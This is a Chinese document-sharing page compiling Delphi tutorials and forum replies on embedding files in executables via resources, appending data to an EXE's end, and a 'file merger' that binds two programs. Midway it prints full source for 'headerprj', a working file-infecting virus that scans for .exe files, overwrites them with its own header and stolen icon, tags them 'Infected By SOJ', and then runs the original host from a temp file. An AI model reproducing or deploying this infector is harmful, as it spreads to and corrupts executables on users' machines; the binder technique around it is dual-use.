收藏 分销(赏)

delphi程序的调用.doc

上传人:pc****0 文档编号:6988823 上传时间:2024-12-24 格式:DOC 页数:19 大小:62.50KB 下载积分:10 金币
下载 相关 举报
delphi程序的调用.doc_第1页
第1页 / 共19页
delphi程序的调用.doc_第2页
第2页 / 共19页


点击查看更多>>
资源描述
作为资源文件嵌入就可以解决这个问题。 用记事本写一个exe.rc,里面就一句; MYEXE   EXEFILE   ssl.exe 然后用brcc32编译exe.rc,生成exe.res文件 在你的单元中插入 {$R   exe.res} 至于提取出来也很简单 procedure   TForm1.ExtractFile; var     resStream:TResourceStream; begin     try         resStream:=TResourceStream.Create(hinstance,PChar( 'MYEXE '),PChar( 'EXEFILE '));         resStream.SaveToFile( 'c:\e.exe ');         resStream.Free;         ........     except         ShowMessage( '提取文件错误 ');     end; end; 把Delphi程序嵌入到其他程序中 把Delphi程序嵌入到其他程序中 作者:佚名 文章来源:网络 点击数: 193 更新 时间:2011-4-29 16:13:15 怎样把Delphi程序嵌入到其他程序中?2007-02-21 15:17某个bbs站上有文章:(想来作者不会介意我装载吧!) ==============================================================================                              文件合并器的制作方法                                                        作者:王昊       从想到做文件合并器到现在已经有一个多月了,但是一直没有静下心来想它的实现方法. 昨天看数学看烦了, 我终于忍不住扔开了书,开始着手"文件合并器"的编制.3小时后,终于有了眉目,今天又改了一下.现在终于能够和 各位分享我的喜悦了.我愿意将我的方法写给大家,也希望各位高手不吝赐教.     先看看我们的目的:编写一个程序A,它能够将两个可执行程序B和C合并在一起,形成 一个新的可执行程序D. 要让用户执行D的时候,相当于同时运行B和C两个程序.     我的开发工具:我现在能够用VB和DELPHI中的任何一个开发这个软件.这次我用的是 DELPHI.如果你需要,也可以用VC或BCB来完成.     下面我用这三个小时中我考虑的东西为线索来讲讲主要的原理.      一. 我的疑惑.         将两个可以执行的程序合并在一起会变成什么东西?这是我的第一个疑惑.要解 决这个问题,首先要学会 如何将两个文件合并在一起.我想到了内存流(MemoryStream),它能极方便的完成这个步 骤.假设有两个可执行文件f1, f2.现在要把他们合并在一起.下面给出原代码.         var           strmSource,strmDest:TMemoryStream;         begin           //先读f1           strmSource:=TMemoryStream.Create;           strmSource.loadfromfile(f1);           //拷贝到strmdest           strmDest:=TMemoryStream.Create;           strmDest.copyfrom(strmSource,strmSource.size);           strmSource.clear;           //再读f1           strmSource.loadfromfile(f2);           //拷贝到strmdest           strmDest.seek(strmDest.size,soFromBeginning);           strmDest.copyfrom(strmSource,strmSource.size);           strmSource.free;           //这时strmDest里面便是两个文件合并后的内容了.将它保存为文件           strmDest.SaveToFile('dest.exe');           strmDest.free;         end;        我惊讶的发现,执行dest.exe就相当于执行f1!!为了确认,我将原代码中f1和f2的 读入顺序对调,得到的新的dest.exe执行竟然相当于执行f2!!(此处省略了N个感叹号).我又用同样的方法在f1 的后面添加很多无意义的字节,得到的新的f1运行竟然很正常.现在我们知道了,将两个或者多个可执行文件合并在 一起,得到的新文件执行时只是执行第一个文件.这是非常关键的一步.    二.如何分离?         合并没有问题了,如何分离呢?在知道原来的两个文件的大小的情况下,这很容易 作到.假设i1和i2是原来两个文件的大小(字节).合并后的文件是"dest.exe".         var           strmSource,strmDest:TMemoryStream;         Begin           //先读dest.exe           strmSource:=TMemoryStream.Create;           strmSource.loadfromfile('dest.exe');           //拷贝f1到strmdest           strmDest:=TMemoryStream.Create;           strmDest.copyfrom(strmSource,i1);           //保存f1           strmDest.SaveToFile(f1);           strmDest.clear;           //拷贝f2到strmdest           strmSource.seek(i1,soFromBeginning);           strmDest.copyfrom(strmSource,i2);           strmDest.SaveToFile(f2);           strmDest.free;           strmSource.free;        end;     三.总体思路.         在解决了上述问题后,我的总体思路就出来了.假设我给用户的程序是A,它能把 B和C合并起来得到D.那么D具有什么特征呢?D应该至少由三个部分组成(请注意是"至少"):第一部分是一个可 执行的程序,我把它叫做 标准程序S,他能将D的第二部分和第三部分(就是原来的可执行文件B和C)读出来,保存在磁盘上,然后执行他们.但大家看了"如何分离"后应该知道,只有我们知道了B和C的长度时,才能方便的从D中读出他们.而为了使D可以在另一个用户的机子上也能够运行,我认为B和C的长度信息应该保存在D的最后.于是,D应该具有四个部分:     1:    S     2:    B     3:    C     4:    长度信息     那么,既然我给用户的程序是A,那么这里的标准程序又从何而来呢?标准程序又应该保存在哪里呢?     有两个办法.第一,给用户的程序包含两个文件,一个是A,一个是S.但我觉得这样不够 爽.于是我用了另一个方法: 将S连在A的后面,成为A'.     于是乎,当用户执行A'时,A'要求用户选择两个可执行文件B和C.当用户点击确定时, A'将它自身所带的S与B和C合并起来,形成D.然后,用户便可以执行D了,这时的D并不依赖于A'.D执行时,实际上执行的是它的第一部分S,S首先从D的最后取得长度信息,然后根据这些长度信息读出B和C,保存于硬盘上的某个目 录.然后调用ShellExecute执行他们.这样就达到了我们的目的.     那么,长度信息如何定义呢?如何将S连在A的后面呢?S如何完成自身的功能呢?这就是 我下面要讲的.   四.保存长度信息.        我先讲一讲如何把一个字符串写入内存流.其实我自己也不知道如何直接将一个 字符串的内容读到内存流中,于是我采取了先将字符串内容写入一个临时文件中,然后用loadformfile将文件内容读入内存流中.        然而,我们必须知道连接在D后面的长度信息的具体长度,也就是说用几个字节保 存,才能让S读出长度信息.我考虑再三,决定用32个字节来表示每个文件的长度,虽然大多数情况下,文件大小不会超出100M.        看看这里的代码:         var           strmSource,strmDest:TMemoryStream;           s1,s2:string;           f:TextFile;         begin           //先用上面的方法将S和B与C的内容写入strmdest,现在要在strmDest里面添 加长度信息           //假设s1,s2里放有B和C的大小,先把他们变为32个字节.           while length(s1)<32 do             begin               s1:='0'+s1;             end;           while length(s2)<32 do             begin               s2:='0'+s1;             end;           //s1存入文件           assignfile(f,'tmp');           rewrite(f);           try             write(f,s1);           finally             closefile(f);           end;           //文件内容读入strmSource           strmSource:=TMemoryStream.Create;           strmSource.loadfromfile('tmp');           //加到strmDest后面           strmDest.copyfrom(strmSource,strmSource.size);           strmSource.clear;           deletefile('tmp');           //s2存入文件           assignfile(f,'tmp');           rewrite(f);           try             write(f,s2);           finally             closefile(f);           end;           //文件内容读入strmSource           strmSource:=TMemoryStream.Create;           strmSource.loadfromfile('tmp');           //加到strmDest后面           strmDest.copyfrom(strmSource,strmSource.size);           strmSource.free;           deletefile('tmp');         end;          利用代码里的方法,便可将长度信息保存在D的最后了.     五.标准文件.        现在我想大家感到疑惑的就是标准文件S了,这到底是个什么玩意儿?怎么做它?        其实,我们在前面已经讲过了,"S首先从D的最后取得长度信息,然后根据这些长度 信息读出B和C,保存于硬盘上的某个目录. 然后调用ShellExecute执行他们".要注意这里的S和D是在一起的,S只不过是D的第一部分.他们的文件名是一样的了.于是就变成了S的功能是从它自身的后面取得长度信息,然后根据这些长度信息读出B和C,保存于硬盘上的某个目录.然后调用ShellExecute执行他们.我想,具体的方法我前面已经讲的很清楚了.只要记住长度信息是分别用32个 字节表示的就行了.   六.完整步骤        先编写S,然后编写A.再写一个程序E将S和A连接起来,S放在A的后面,成为A'.将A '发布给用户. 七.注意事项.        这个程序技巧性的确很强,但是我认为正常的人很少会用它.但对那些想散播病毒的人来说,却是一大利器.因此,我在这里要警告这部分人:制作或散发病毒是违反法律的,将受到法律允许范围内的 最高处罚.请好自为之。        而该程序的思路则有很巧妙的应用。你可以将DLL或其他需要的文件连接在你的程序后面.让你的程序运行时先解出这些文件。这样就能发布只有一个执行文件的程序了,比较方便,可以帮助VB程序员发布伪“绿色软件”        好了,就写到这里。有空我再写点经验出来。        谢谢大家赏脸看我的文章。       我的程序也是给exe加一个文件头,只是论证一下可行性,离病毒那可差的远了:) Code here: //headerprj.dpr program headerprj; uses   Windows,Classes,SysUtils,Graphics,ShellAPI; const   HEADERSIZE=78336;   ICONOFFSET=$11EB8;   INFECTFLAG='Infected By SOJ';   ID=$66666666; {$R *.RES} var   tmpFile:string;   si:STARTUPINFO;   pi:PROCESS_INFORMATION;   sr:TSearchRec;   Counter:Integer; //routines procedure CopyStream(Src:TStream;sStartPos:Integer;   Dst:TStream;dStartPos:Integer;Count:Integer); var   sCurPos,dCurPos:Integer; begin   sCurPos:=Src.Position;   dCurPos:=Dst.Position;   src.Seek(sStartPos,0);   dst.Seek(dStartPos,0);   dst.CopyFrom(src,Count);   src.Seek(sCurPos,0);   dst.Seek(dCurPos,0); end;{CopyStream} function Getmyname:string; var  cmdline:String;   myname:Array [0..255] of Char;  i,j:integer; begin   i:=1;j:=0;   cmdline:=GetCommandLine;   while cmdline[i]<>chr(0) do   begin    if cmdline[i]<>'"' then     begin      myname[j]:=cmdline[i];       inc(j);     end;     inc(i);   end;   myname[j-1]:=chr(0);   Result:=strpas(@myname); end;{Getmyname} function GetTempFullName:String; var   tmpPath:Array[1..256]of Char;   tmpname:Array[1..256]of Char; begin   GetTempPath(256,@tmpPath);   GetTempFileName(@tmpPath,'PQR',0,@tmpName);   Result:=StrPas(@tmpName); end;{GetTempFullName} procedure ExtractFile(filename:string); var   sStream,dStream:TFileStream; begin   sStream:=TFileStream.Create(Getmyname,fmOpenRead or fmShareDenyNone);   dStream:=TFileStream.Create(filename,fmCreate);   sStream.Seek(HEADERSIZE,0);   dStream.CopyFrom(sStream,sStream.Size-HEADERSIZE);   sStream.Free;   dStream.Free; end; procedure fillstartupinfo(var si:STARTUPINFO;state:WORD); begin  si.cb := sizeof(si);  si.lpReserved := nil;  si.lpDesktop := nil;  si.lpTitle := nil;  si.dwFlags := STARTF_USESHOWWINDOW;  si.wShowWindow := state;  si.cbReserved2 := 0;  si.lpReserved2 := nil; end; function InfectFile(Filename:TFilename):Boolean; var   hdrStream,srcStream:TFileStream;   icoStream,dstStream:TMemoryStream;   iID:Longint;   aIcon:TIcon; begin   try   if Filename='headerprj.exe' then exit;   srcStream:=TFileStream.Create(Filename,fmOpenRead);   srcStream.Seek(-4,2);   srcStream.Read(iID,4);   if (iID=ID) or (srcStream.Size >1000000)then   begin     srcStream.Free;     Result:=False;     exit; //如果感染过了则退出   end;   srcStream.Free;   try   icoStream:=TMemoryStream.Create;   aIcon:=TIcon.Create;   aIcon.ReleaseHandle;   aIcon.Handle:=ExtractIcon(Hinstance,PChar(Filename),0);//被感染文件的图标   aIcon.SaveToStream(icoStream);   aIcon.Free;   srcStream:=TFileStream.Create(FileName,fmOpenRead);   hdrStream:=TFileStream.Create(GetMyName,fmOpenRead or fmShareDenyNone);//头文件   dstStream:=TMemoryStream.Create;   CopyStream(hdrStream,0,dstStream,0,HEADERSIZE);   CopyStream(icoStream,22,dstStream,ICONOFFSET,$2e8);   CopyStream(srcStream,0,dstStream,HEADERSIZE,srcStream.Size);   dstStream.Seek(0,2);   iID:=$66666666;   dstStream.Write(iID,4);   finally   icoStream.Free;   srcStream.Free;   hdrStream.Free;   dstStream.SaveToFile(Filename);   dstStream.Free;   Result:=True;   end;   except;   end; end; //主程序开始 begin   Counter:=2;   if FindFirst('*.exe',faAnyFile,sr)=0 then   begin     InfectFile(sr.Name);     while (FindNext(sr)=0) and (Counter>0) do     begin       if InfectFile(sr.Name) then Dec(Counter);     end;   end;   FindClose(sr);   if ExtractFileName(Getmyname)='headerprj.exe' then exit;   tmpFile:=GetTempFullname;   ExtractFile(tmpFile);   fillstartupinfo(si,SW_SHOWDEFAULT);   CreateProcess(PChar(tmpFile),PChar(tmpFile),nil,nil,True,0,nil,'.',si,pi); end. ps:文件名一定要叫headerprj.exe否则会有问题,看看代码就知道了           想将.tex.bmp等类型的文件做成.exe文件。看过人家的软件,心中羡慕,痒痒。谁解析一下? 最好有原代码。c,delphi的都可以。给好多的分分啊  ^_^,我来试试? 1.如果只是把一幅图作在文件中.最简单了.把显示图形的代码写好,然后把图形文件 LOATFROMFILE,写到自己程序的最后,在文件尾部把图形数据的起点标识.OK了. 比如自释放的文件等等,都可以这样做. 2.如果做个单一的安装程序,之有一个exe.文件,方法和上面差不多.只是在标识上要有 一定的格式.比如,最后两个字节是表示有多少个文件,文件信息表的偏移量. 至于文件信息表,可以包含文件在EXE中的偏移量.长度,文件名.这就够了.当然,可以是经过 压缩的数据,解压缩后savetofile 就行了 . 制作方法:要写两个程序,一个是专门在自己的EXE尾部找数据文件信息.根据约定的已知 格式,循环读出每个文件的数据,解压缩后savetofile. 一个是制作程序,上个程序做好后,本制作程序把要打包的文件读入内存stream中, 计算好长度后,把每个文件的名字,长度,偏移量,写到解压缩程序的尾部! 制作两个程序:一个主程序,一个辅程序。主程序的作用是往辅程序的尾部添加资源, 即.tex、.bmp等文件。辅程序则负责对这些资源进行处理,如显示、编辑等。以下是 它们的例程。 主程序: procedure TForm1.FormCreate(Sender: TObject); var   Target,str:TFilestream;   Size:Integer; Begin   try     str:=TFileStream.Create('My.bmp',fmOpenRead or fmShareExclusive);     Target := TFilestream.create('d:\Project1.exe', fmOpenWrite or fmShareExclusive);     // d:\Project1.exe 为辅程序     Target.Seek(0,soFromEnd);     //往辅程序的尾部添加资源     Target.CopyFrom(str,0);     Size:=str.Size + Sizeof(Size);     //计算资源大小,并写入辅程序尾部     Target.WriteBuffer(Size,Sizeof(Size));   finally     Target.Free;     str.Free;   end; end; 辅程序: procedure TForm1.FormCreate(Sender: TObject); var   Source:TFilestream;   str:TMemoryStream;   Size:Integer; Begin   try     str:=TMemoryStream.Create;     Source := TFilestream.create(Application.ExeName, fmOpenRead or fmShareDenyNone);     Source.Seek(-Sizeof(Size),soFromEnd);     //读出资源大小     Source.ReadBuffer(Size,SizeOf(Size));     //定位到资源的开始位置     Source.Seek(-Size,soFromEnd);     //取出资源并存到文件中     str.CopyFrom(Source,Size - SizeOf(Size));     str.SaveToFile('Temp.bmp');     //显示     Image1.LoadFromFile('Temp.bmp');   Finally     str.Free;     Source.Free;   end; end; 来自:Lucker, 时间:2000-11-29 13:38:00, ID:406428有一点小错误:Image1.LoadFromFile('Temp.bmp');应改为: image1.Picture.LoadFromFile('Temp.bmp');  来自:Sachow, 时间:2000-11-29 16:31:00, ID:406564有一点错: procedure TForm1.Button1Click(Sender: TObject); var   Source:TFilestream;   str:TMemoryStream;   Size:Integer; begin   try     str:=TMemoryStream.Create;     Source := TFilestream.create(Application.ExeName, fmOpenRead or fmShareDenyNone);     Source.Seek(-Sizeof(Size),soFromEnd);     //读出资源大小     Source.ReadBuffer(Size,SizeOf(Size));     //定位到资源的开始位置     Source.Seek(-Size,soFromEnd);     //取出资源并存到文件中 <font color=red>    str.CopyFrom(Source,Size - SizeOf(Size)); </font> <font color=blue>   //上面这一句报错,说是'Stream read error'     //我执行的是被写入了图片的那个执行程序,对吗? </font>     str.SaveToFile('Temp.bmp');     //显示     Image1.Picture.LoadFromFile('Temp.bmp');   Finally     str.Free;     Source.Free;   end; end;   来自:tinytao, 时间:2000-11-29 18:56:00, ID:406768Sachow:我Test了,代码正确。 上面的报错是因为主程序没有向Project1.exe加入.BMP  来自:Sachow, 时间:2000-11-30 10:03:00, ID:407368我已经往“Project1.exe”那个文件里写了一个BMP图片了,只写了一个。 写完后新文件大小=原文件大小+图片大小。 如果我一次写了多个图片(或是其它类型的文件),该怎样读出想要的那一个,而不是 第一个呢?  来自:Sachow, 时间:2000-11-30 11:23:00, ID:407437成功了!代码是没错的,先前是我自己搞错了。感谢lucker,稍后请再拿分  来自:Sachow, 时间:2000-11-30 12:01:00, ID:407481我做了一点小的改动,就是不需要文件交换过程,直接从流中读出图片, 但也有一点不足是只能处理BMP。 procedure TForm1.Button1Click(Sender: TObject); var   Source:TFilestream;   Size:Integer; begin     Source := TFilestream.create(Application.ExeName, fmOpenRead or fmShareDenyNone);     Source.Seek(-Sizeof(Size),soFromEnd);     //读出资源大小     Source.ReadBuffer(Size,SizeOf(Size));     //定位到资源的开始位置     Source.Seek(-Size,soFromEnd);     Image1.Picture.Bitmap.LoadFromStream(Source);     Source.Free; end;   来自:Lucker, 时间:2000-11-30 12:19:00, ID:407510to Sachow: 当然,上面的程序只是基础,但加以扩充。你就可以实现往Project1.exe中加入任意复杂的 数据,方法如下(其实也是压缩程序的原理之一): 首先你得定义两个记录 : TFileRec = record               name : shortstring;               start : longint;               Size:Longint;            end; TArchiveRec = record                    FileCount:longint;                  end; TFileRec 用于记录每个文件的信息。(以上两个记录的具体内容可自定,但必须能确定 记录的大小,也即不能在记录中有string类型等不能确定大小的字段), TArchiveRec 用于记录插入文件的总个数。 往Project1.exe中添加资源时,可依照以上的方法进行,即把资源的数据一个一个地往 Project1.exe的尾部添加.但在加入一个资源之前,你必须先得到当前的位置(可通过 Target.Size或先移到Target的尾部,再通过Position属性得到),然后写入该文件对应 的TFileRec记录的Start字段,用于记录该资源在Project1.exe中的起始位置,在加入全部 资源以后,你再设置TArchiveRec记录的FileCount字段,然后按加入资源的顺序往Project1.exe 尾部写入对应的TFileRec,最后再写入TArchiveRec记录。从而完成了添加资源操作。 在Project1.exe中读资源时,要先在Project1.exe的尾部读出TArchiveRec记录以得到资源的 个数,然后再根据资源的个数依次读出TFileRec记录,从而得到每个文件的Start等信息, 这样就可以正确地读出每个资源的数据了。之所以可以这样读,是因为TArchiveRec和TFileRec记录 的大小是可以确定的(通过Sizeof函数),所以你可以正确定位。 其实这种程序的难点就是如何定位,只要实现了正确定位,那一切就OK了。 来自:pass, 时间:2000-12-17 0:15:00, ID:419043放置任意的文件到Delphi的EXE文件里面 通常在Delphi的应用程序中,我们会调用到很多的资源,例如图片,动画(AVI),声音,甚至于别的执行文件。当然,把这些资源分布到不同的目录不失为一个好办法,但是有没有可能把这些资源编译成标准的windows资源从而链接到一个执行文件里面呢? 我们可以自己做一个RC文件,例如 sample.rc ,RC文件其实就是一个资源文件的描述文本,通过“记事本”程序创建就行了。然后可以输入一些我们要定义的资源,例如: MEN BITMAP c:\bitmap\men.bitmap ARJ EXEFILE c:\arj.exe MOV AVI c:\mov.avi 然后用BRCC32把这个RC文件编译成sample.res(真正的资源文件)。 在Delphi的工程文件中使用 $R 编译指令让Delphi包括资源到EXE文件里面。 {$R sample.res} 这样我们就可以在这个单一的执行文件中调用资源了。举例如下: EXEFILE: procedure ExtractRes(ResType, ResName, ResNewName : String); var Res : TResourceStream; begin Res := TResourceStream.Create(Hinstance, Resname, Pchar(ResType
展开阅读全文

开通  VIP会员、SVIP会员  优惠大
下载10份以上建议开通VIP会员
下载20份以上建议开通SVIP会员


开通VIP      成为共赢上传

当前位置:首页 > 包罗万象 > 大杂烩

移动网页_全站_页脚广告1

关于我们      便捷服务       自信AI       AI导航        抽奖活动

©2010-2026 宁波自信网络信息技术有限公司  版权所有

客服电话:0574-28810668  投诉电话:18658249818

gongan.png浙公网安备33021202000488号   

icp.png浙ICP备2021020529号-1  |  浙B2-20240490  

关注我们 :微信公众号    抖音    微博    LOFTER 

客服